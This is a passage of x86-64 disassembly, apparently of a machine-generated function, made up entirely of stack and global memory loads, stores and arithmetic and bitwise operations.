add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6570]
mov dword [rcx], eax
lea rax, [rsp + 0x3244]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x5c70]
mov rcx, qword [rsp + 0x8260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ee0], rax
mov rax, qword [rsp + 0x5470]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18d]
and eax, ecx
mov rcx, qword [0x1401141d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x10dc]
movsx ecx, word [rsp + 0xb60]
sub eax, ecx
mov rcx, qword [rsp + 0x7ea8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x6a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd70]
add eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov word [rcx], ax
lea rax, [0x1401142b4]
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0x8718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6100]
mov dword [rcx], eax
lea rax, [rsp + 0x90e0]
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x6550]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75b8]
movzx ecx, al
mov rax, qword [rsp + 0x8398]
sar rax, cl
mov qword [rsp + 0x5708], rax
lea rax, [rsp + 0x120]
mov qword [0x140114ab0], rax
lea rax, [rsp + 0x970]
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0x6f40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5360]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x22a], al
movzx eax, word [rsp + 0xb0c]
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x8ab8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
shl eax, cl
mov rcx, qword [rsp + 0x8970]
mov byte [rcx], al
mov rax, qword [rsp + 0x87e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3104]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7378]
mov dword [rcx], eax
lea rax, [rsp + 0x8d20]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x7038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72a0]
mov rax, qword [rax]
mov qword [rsp + 0x93e0], rax
lea rax, [rsp + 0xb08]
mov qword [0x140114ab8], rax
mov rax, qword [rsp + 0x5bb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9d8]
add eax, ecx
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0x6768]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7258]
movzx eax, byte [rax]
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x5510]
movsx eax, word [rax]
mov rcx, qword [0x140114738]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ff0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c30]
mov qword [rsp + 0x93e8], rax
mov eax, dword [rsp + 0x2e7c]
mov ecx, dword [rsp + 0x2af4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3048], eax
mov rax, qword [rsp + 0x5390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x308c], eax
mov rax, qword [rsp + 0x5b88]
mov qword [rsp + 0x93f0], rax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x132]
and eax, ecx
mov byte [0x140113037], al
mov rax, qword [rsp + 0x8720]
movsx eax, byte [rax]
movsx ecx, byte [0x140114217]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x6e00]
movzx eax, word [rax]
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0x6e38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc20]
add eax, ecx
mov word [rsp + 0xb0c], ax
movzx eax, word [rsp + 0xf20]
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x7358]
mov ecx, dword [rsp + 0x2f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e14], eax
mov rax, qword [rsp + 0x85a0]
mov rcx, qword [rsp + 0x87f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7970], rax
lea rax, [rsp + 0x2e4c]
mov qword [rsp + 0x93f8], rax
mov rax, qword [rsp + 0x4ef8]
mov rcx, qword [rsp + 0x51f0]
mov qword [rsp + 0x9400], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9400]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7fa8]
mov qword [rcx], rax
lea rax, [rsp + 0x45]
mov qword [rsp + 0x9408], rax
movsx eax, word [rsp + 0x10dc]
movsx ecx, word [rsp + 0xd98]
shl eax, cl
mov word [0x140113068], ax
movsx eax, byte [rsp + 0xa2]
movsx ecx, byte [rsp + 0x4a]
xor eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x65c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf5c]
and eax, ecx
mov word [rsp + 0xda8], ax
lea rax, [rsp + 0xb08]
mov qword [rsp + 0x9410], rax
mov eax, dword [rsp + 0x3104]
mov ecx, dword [rsp + 0x3204]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3148], eax
lea rax, [rsp + 0x8c40]
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0x9238]
mov rcx, qword [rsp + 0x8590]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3170]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b18]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1cb]
mov byte [rsp + 0x237], al
mov rax, qword [0x1401146c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9a8]
add eax, ecx
mov word [0x1401131ac], ax
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44]
sub eax, ecx
mov rcx, qword [rsp + 0x57b0]
mov byte [rcx], al
lea rax, [rsp + 0x98c]
mov qword [rsp + 0x9420], rax
mov rax, qword [0x140114990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x6af8]
mov rax, qword [rax]
mov qword [rsp + 0x9428], rax
mov eax, dword [rsp + 0x2b9c]
mov ecx, dword [rsp + 0x2c6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7870]
mov rcx, qword [rsp + 0x5300]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f90], rax
mov eax, dword [rsp + 0x30f4]
mov dword [rsp + 0x3344], eax
mov rax, qword [rsp + 0x5600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6598]
mov byte [rcx], al
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0xedc]
shl eax, cl
mov rcx, qword [0x1401143b8]
mov word [rcx], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x9430], rax
movsx eax, word [rsp + 0xe60]
mov rcx, qword [0x140114418]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x71e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
sar eax, cl
mov rcx, qword [rsp + 0x7408]
mov byte [rcx], al
mov eax, dword [rsp + 0x3234]
mov dword [rsp + 0x3348], eax
mov eax, dword [rsp + 0x2b18]
mov ecx, dword [rsp + 0x32b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d2c], eax
lea rax, [rsp + 0x4b20]
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x74f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ad0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7350]
mov word [rcx], ax
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0x7f18]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [str._o__a:z], al
lea rax, [rsp + 0xa9c]
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x8208]
movzx eax, byte [rax]
mov rcx, qword [0x140114480]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x8178]
movzx eax, byte [rax]
mov byte [rsp + 0x238], al
movzx eax, word [rsp + 0xe80]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9120]
mov word [rcx], ax
mov rax, qword [rsp + 0x5718]
mov rcx, qword [rsp + 0x4fd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f38]
mov rax, qword [rax]
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0x84c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x32fc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8a50]
mov dword [rcx], eax
lea rax, [rsp + 0x3114]
mov qword [rsp + 0x9450], rax
movsx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0x7cd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401131b0], ax
mov rax, qword [rsp + 0x6c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11a]
and eax, ecx
mov byte [rsp + 0x1fb], al
movzx eax, byte [0x140114284]
mov byte [rsp + 0x239], al
movzx eax, word [rsp + 0xcf4]
mov rcx, qword [rsp + 0x8f70]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xdc8], ax
movsx eax, byte [rsp + 0xc7]
movsx ecx, byte [rsp + 0x169]
sar eax, cl
mov byte [rsp + 0xd8], al
lea rax, [0x140114150]
mov qword [rsp + 0x9458], rax
mov eax, dword [rsp + 0x2e10]
mov ecx, dword [rsp + 0x2ed0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c28]
mov dword [rcx], eax
lea rax, [rsp + 0x6788]
mov qword [rsp + 0x9460], rax
mov rax, qword [rsp + 0x80e0]
movzx ecx, al
mov rax, qword [rsp + 0x6f18]
shl rax, cl
mov qword [rsp + 0x5a08], rax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xd40]
sub eax, ecx
mov word [0x140114a60], ax
movzx eax, byte [rsp + 0x10f]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x21a], al
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x9468], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x21e]
and eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x9470], rax
mov rax, qword [rsp + 0x8718]
mov ecx, dword [rsp + 0x2b28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7f88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x85e8]
mov rcx, qword [rsp + 0x5238]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7770]
mov qword [rcx], rax
lea rax, [rsp + 0x6788]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x82a0]
mov ecx, dword [rsp + 0x2b88]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7908]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [0x1401130d7], al
movzx eax, word [0x1401131a0]
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf00]
add eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x220]
mov rcx, qword [rsp + 0x7ed8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x70a0]
movzx eax, word [rax]
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0x5f10]
mov rcx, qword [rsp + 0x7800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d58], rax
lea rax, [rsp + 0x73a8]
mov qword [rsp + 0x9480], rax
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3144]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x64b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x80a8]
mov eax, dword [rax]
mov dword [rsp + 0x334c], eax
lea rax, [rsp + 0xc1]
mov qword [0x140114ac0], rax
mov rax, qword [rsp + 0x87b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
sar eax, cl
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x8298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
or eax, ecx
mov rcx, qword [rsp + 0x5c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
mov word [rsp + 0x1118], ax
mov rax, qword [rsp + 0x8810]
movzx eax, word [rax]
movzx ecx, word [section..data]
shl eax, cl
mov word [rsp + 0xcc0], ax
lea rax, [rsp + 0x31e8]
mov qword [rsp + 0x9488], rax
mov rax, qword [rsp + 0x59f0]
mov rcx, qword [rsp + 0x8b90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7980], rax
mov eax, dword [rsp + 0x2fb4]
mov ecx, dword [rsp + 0x2d60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e74], eax
mov rax, qword [rsp + 0x6e68]
mov rax, qword [rax]
mov qword [rsp + 0x9490], rax
movzx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x7580]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130ca], al
movsx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x7e60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x7df0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa44], ax
mov rax, qword [rsp + 0x81c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d8]
add eax, ecx
mov rcx, qword [rsp + 0x90d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3214]
mov dword [rsp + 0x3350], eax
mov rax, qword [rsp + 0x7d78]
mov rcx, qword [rsp + 0x7ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9330], rax
lea rax, [rsp + 0x2ef0]
mov qword [rsp + 0x9498], rax
mov rax, qword [rsp + 0x71e0]
mov rcx, qword [rsp + 0x5448]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9240]
mov qword [rcx], rax
lea rax, [rsp + 0x15b]
mov qword [0x140114ac8], rax
lea rax, [rsp + 0xe98]
mov qword [rsp + 0x94a0], rax
mov rax, qword [0x140114668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8470]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7af0]
mov byte [rcx], al
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0x8858]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6bd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6658]
movzx eax, word [rax]
mov word [rsp + 0x111c], ax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x8b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b30], eax
mov rax, qword [rsp + 0x9128]
mov rax, qword [rax]
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x7b18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x31f0]
shl eax, cl
mov dword [rsp + 0x305c], eax
mov rax, qword [rsp + 0x8788]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x84d0], rax
mov rax, qword [rsp + 0x73e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e18]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140114220], ax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x94b0], rax
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [rsp + 0x1d1]
and eax, ecx
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0x8798]
movzx eax, word [rax]
mov word [rsp + 0x1120], ax
movzx eax, byte [rsp + 0x22e]
mov rcx, qword [rsp + 0x8220]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8508]
mov byte [rcx], al
mov rax, qword [rsp + 0x7438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90a8], rax
mov rax, qword [rsp + 0x7b70]
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0x50e8]
mov ecx, dword [rsp + 0x30e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x7838]
mov eax, dword [rax]
mov dword [rsp + 0x3354], eax
mov rax, qword [rsp + 0x8bd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x998]
sub eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov word [rcx], ax
movzx eax, word [rsp + 0x8e0]
mov word [0x140114ad0], ax
mov rax, qword [rsp + 0x8330]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21c]
and eax, ecx
mov rcx, qword [rsp + 0x83b8]
mov byte [rcx], al
lea rax, [rsp + 0x20b]
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x69d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5458]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c3], al
lea rax, [0x140113008]
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0x7148]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x84d0], rax
mov rax, qword [rsp + 0x77e8]
mov eax, dword [rax]
mov dword [rsp + 0x3358], eax
mov rax, qword [rsp + 0x5500]
mov rcx, qword [rsp + 0x6ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x332c], eax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0x74b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb34], ax
lea rax, [rsp + 0x1d8]
mov qword [0x140114ad8], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x94d0], rax
movzx eax, byte [rsp + 0x112]
movzx ecx, byte [rsp + 0x7d]
shl eax, cl
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x8940]
movzx eax, byte [rax]
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0x57e8]
mov rcx, qword [rsp + 0x8eb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7390], rax
mov rax, qword [rsp + 0x85e8]
mov rcx, qword [rsp + 0x7770]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x70c0], rax
lea rax, [rsp + 0x330c]
mov qword [rsp + 0x94d8], rax
mov eax, dword [rsp + 0x2b1c]
mov rcx, qword [rsp + 0x6ec0]
mov qword [rsp + 0x94e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3300], eax
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
mov word [rsp + 0x1124], ax
movsx eax, word [rsp + 0xb14]
mov rcx, qword [rsp + 0x79a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140113028], ax
mov rax, qword [rsp + 0x7388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6de8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbc8], ax
mov rax, qword [rsp + 0x8278]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
sub eax, ecx
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x5d28]
movzx eax, word [rax]
mov word [rsp + 0x1128], ax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ff8], eax
lea rax, [rsp + 0x81d0]
mov qword [rsp + 0x94e8], rax
mov rax, qword [rsp + 0x82a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30f8], eax
lea rax, [0x140113008]
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x8328]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x104c], ax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x5408]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401145c8], ax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [rsp + 0x1ad], al
lea rax, [rsp + 0x100]
mov qword [rsp + 0x94f8], rax
movsx eax, byte [rsp + 0x1e2]
movsx ecx, byte [rsp + 0x209]
add eax, ecx
mov rcx, qword [rsp + 0x5a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x7918]
movzx eax, word [rax]
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x5f08]
mov ecx, dword [rsp + 0x3080]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c5c], eax
mov rax, qword [rsp + 0x70e0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8a08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2be0]
sar eax, cl
mov dword [rsp + 0x2d68], eax
movsx eax, word [rsp + 0xfc8]
mov rcx, qword [0x140114428]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401131b4], ax
mov rax, qword [rsp + 0x54c0]
movzx eax, byte [rax]
mov byte [rsp + 0x23c], al
mov rax, qword [rsp + 0x7fc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x145]
shl eax, cl
mov rcx, qword [rsp + 0x7110]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x5048]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7228]
mov byte [rcx], al
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x1130], ax
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3210], eax
mov eax, dword [rsp + 0x2cbc]
mov dword [rsp + 0x335c], eax
mov rax, qword [rsp + 0x7400]
mov rcx, qword [rsp + 0x5400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x7020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7528]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5910], rax
movzx eax, word [0x1401146d0]
movzx ecx, word [rsp + 0xcc4]
add eax, ecx
mov word [0x1401131b8], ax
movzx eax, byte [rsp + 0x1c1]
mov byte [rsp + 0x23d], al
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x5f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69], al
lea rax, [rsp + 0x904]
mov qword [rsp + 0x9508], rax
movsx eax, byte [rsp + 0x1c9]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8190]
mov byte [rcx], al
lea rax, [rsp + 0x2cc4]
mov qword [rsp + 0x9510], rax
mov rax, qword [rsp + 0x7a48]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8990]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c7c]
mov ecx, dword [rsp + 0x3028]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ba4], eax
lea rax, [rsp + 0x5260]
mov qword [rsp + 0x9518], rax
mov rax, qword [rsp + 0x6780]
movsx eax, word [rax]
movsx ecx, word [0x1401131a4]
or eax, ecx
mov word [0x140113188], ax
mov rax, qword [rsp + 0x8ab8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
lea rax, [rsp + 0x59]
mov qword [rsp + 0x9520], rax
movzx eax, word [0x14011318c]
mov rcx, qword [rsp + 0x65c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
movzx eax, word [rsp + 0xa2c]
mov rcx, qword [rsp + 0x63e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
lea rax, [rsp + 0x3008]
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0x7458]
mov rcx, qword [rsp + 0x5f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5500]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f38]
mov qword [rsp + 0x9530], rax
mov rax, qword [rsp + 0x8360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6930]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
movsx eax, word [rsp + 0xbd4]
movsx ecx, word [rsp + 0xd5c]
sub eax, ecx
mov rcx, qword [0x140114750]
mov word [rcx], ax
mov rax, qword [rsp + 0x6088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xae0]
sub eax, ecx
mov word [rsp + 0x1110], ax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x23e], al
movzx eax, byte [0x140114226]
mov rcx, qword [rsp + 0x7310]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
lea rax, [rsp + 0x178]
mov qword [rsp + 0x9538], rax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0x5340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6be8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f38], rax
mov eax, dword [rsp + 0x2eec]
mov dword [rsp + 0x3360], eax
mov rax, qword [rsp + 0x6b88]
mov ecx, dword [rsp + 0x2d7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2be8], eax
mov rax, qword [rsp + 0x8470]
movzx eax, byte [rax]
mov byte [0x14011430b], al
movzx eax, word [rsp + 0xa60]
mov word [rsp + 0x1134], ax
movsx eax, byte [rsp + 0x1da]
movsx ecx, byte [rsp + 0x215]
sub eax, ecx
mov rcx, qword [rsp + 0x85c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xcc0]
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8c0], ax
mov rax, qword [rsp + 0x5500]
mov rcx, qword [rsp + 0x5f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7158]
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7b60]
shr rax, cl
mov qword [rsp + 0x8a80], rax
mov rax, qword [rsp + 0x7480]
mov eax, dword [rax]
mov dword [rsp + 0x3364], eax
mov rax, qword [rsp + 0x89a0]
